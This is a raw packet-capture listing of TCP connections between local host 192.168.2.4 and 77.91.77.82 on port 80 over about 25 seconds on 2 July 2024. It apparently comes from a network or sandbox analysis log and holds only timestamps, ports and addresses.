Jul 2, 2024 15:26:44.204297066 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:44.318434000 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:44.318790913 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:44.323909044 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:44.324034929 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:44.324151993 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:44.324702024 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:44.324765921 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:44.328960896 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:45.027116060 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:45.027350903 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:45.028392076 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:45.036956072 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:45.253235102 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:45.253300905 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:45.360707045 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:45.361131907 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:45.365906954 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:45.365933895 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:45.366028070 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:45.366081953 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:45.366349936 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:45.371102095 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:46.072937012 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:46.073199987 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:46.074147940 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:46.078948021 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:46.304580927 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:46.304699898 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:46.407396078 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:46.407800913 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:46.412830114 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:46.412935019 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:46.412978888 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:46.413036108 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:46.413223028 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:46.418128967 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:47.113739967 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:47.113805056 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:47.114769936 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:47.119544983 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:47.335272074 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:47.335489035 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:47.439011097 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:47.439290047 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:47.444137096 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:47.444241047 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:47.444452047 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:47.444539070 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:47.444597006 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:47.449347973 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:48.159445047 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:48.159612894 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:48.160337925 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:48.165400982 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:48.391882896 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:48.391966105 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:48.501276016 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:48.501699924 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:48.506479025 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:48.506558895 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:48.506596088 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:48.506675959 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:48.506931067 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:48.511707067 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:49.201581955 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:49.201755047 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:49.202677011 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:49.207639933 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:49.420450926 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:49.420614958 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:49.533193111 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:49.534086943 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:49.538346052 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:49.538428068 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:49.538842916 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:49.538913965 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:49.541304111 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:49.546046019 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:50.259335995 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:50.259470940 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:50.260174036 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:50.264889002 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:50.487956047 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:50.488086939 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:50.594885111 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:50.595196009 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:50.600188971 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:50.600208044 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:50.600296021 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:50.600347042 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:50.600514889 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:50.605237007 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:51.326875925 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:51.326941013 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:51.327625036 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:51.332432032 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:51.552301884 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:51.552423000 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:51.659436941 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:51.659761906 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:51.664622068 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:51.664725065 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:51.664729118 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:51.664793015 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:51.665033102 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:51.669781923 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:52.355704069 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:52.361742973 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:52.362402916 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:52.367165089 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:52.579035997 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:52.579504967 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:52.688565016 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:52.688965082 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:52.693682909 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:52.693799973 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:52.693875074 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:52.693917990 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:52.694072008 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:52.698762894 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:53.393476009 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:53.394962072 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:53.395950079 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:53.400768995 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:53.616689920 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:53.616779089 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:53.720148087 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:53.720438004 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:53.725213051 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:53.725297928 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:53.725644112 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:53.730427980 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:53.730901003 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:53.730948925 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:54.437601089 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:54.437674046 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:54.438433886 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:54.443191051 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:54.662446976 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:54.662576914 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:54.766819000 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:54.767184019 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:54.771994114 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:54.772120953 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:54.772213936 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:54.772320986 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:54.772599936 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:54.777462959 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:55.469844103 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:55.469906092 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:55.471328020 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:55.476083040 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:55.694566965 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:55.694658995 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:55.798080921 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:55.798444033 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:55.803376913 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:55.803530931 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:55.803599119 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:55.803725004 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:55.803771019 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:55.808760881 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:56.500247955 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:56.500443935 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:56.501621008 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:56.506514072 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:56.722795010 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:56.722872972 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:56.829200029 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:56.829536915 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:56.835665941 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:56.835681915 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:56.835725069 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:56.835767984 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:56.835936069 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:56.842941999 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:57.545615911 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:57.545716047 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:57.546927929 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:57.551670074 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:57.771830082 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:57.775671005 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:57.891751051 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:57.892158031 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:57.897042036 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:57.897079945 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:57.897145987 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:57.897177935 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:57.897316933 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:57.912568092 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:58.603374004 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:58.603441000 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:58.604247093 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:58.608974934 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:58.822566032 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:58.822725058 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:58.938589096 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:58.938939095 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:58.943746090 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:58.943828106 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:58.943865061 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:58.943912983 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:58.944102049 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:58.948812962 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:59.711915016 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:59.712086916 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:59.712970018 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:59.721431017 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:59.940165043 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:59.940223932 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:00.051008940 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:00.051393986 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:00.056051016 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:00.056093931 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:00.056140900 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:00.056205988 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:00.056349039 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:00.061113119 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:00.778727055 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:00.778866053 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:00.779736996 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:00.784527063 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:01.005733967 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:01.007713079 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:01.297976017 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:01.298305035 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:01.303894043 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:01.303910017 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:01.304012060 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:01.304202080 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:01.304203033 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:01.309061050 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:02.043977022 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:02.044086933 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:02.044724941 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:02.049479961 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:02.265866995 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:02.265954018 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:02.376107931 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:02.376432896 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:02.382685900 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:02.382766008 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:02.382859945 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:02.388434887 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:02.396250010 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:02.396301031 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:03.102911949 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:03.102976084 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:03.103791952 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:03.108567953 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:03.329391956 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:03.329469919 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:03.438702106 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:03.439085960 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:03.443876982 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:03.443893909 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:03.443945885 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:03.443988085 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:03.444155931 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:03.449306011 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:04.151762009 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:04.151989937 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:04.152615070 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:04.157382011 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:04.372116089 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:04.372257948 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:04.487178087 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:04.487963915 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:04.492913961 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:04.492942095 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:04.492979050 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:04.493033886 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:04.493216038 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:04.498428106 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:05.206850052 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:05.206929922 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:05.207643032 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:05.212428093 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:05.443025112 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:05.443098068 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:05.548233986 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:05.548595905 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:05.553570986 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:05.553585052 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:05.553636074 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:05.553689003 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:05.553843021 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:05.558662891 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:06.264875889 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:06.265221119 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:06.266156912 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:06.271091938 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:06.487932920 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:06.487997055 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:06.594813108 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:06.595164061 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:06.600533009 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:06.600610971 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:06.600748062 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:06.600779057 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:06.600791931 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:06.605819941 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:07.300964117 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:07.301127911 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:07.301816940 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:07.307060957 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:07.524317026 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:07.524404049 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:07.628417969 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:07.628776073 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:07.637454033 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:07.637590885 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:07.637727022 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:07.642442942 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:07.642518997 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:07.644057989 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:08.361052036 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:08.361239910 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:08.366651058 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:08.372253895 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:08.595093966 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:08.595237970 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:08.720587969 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:08.720940113 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:08.725802898 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:08.725883961 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:08.726051092 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:08.726099014 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:08.726146936 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:08.730849028 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:09.431778908 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:09.431934118 CEST	49784	80	192.168.2.4	77.91.77.82
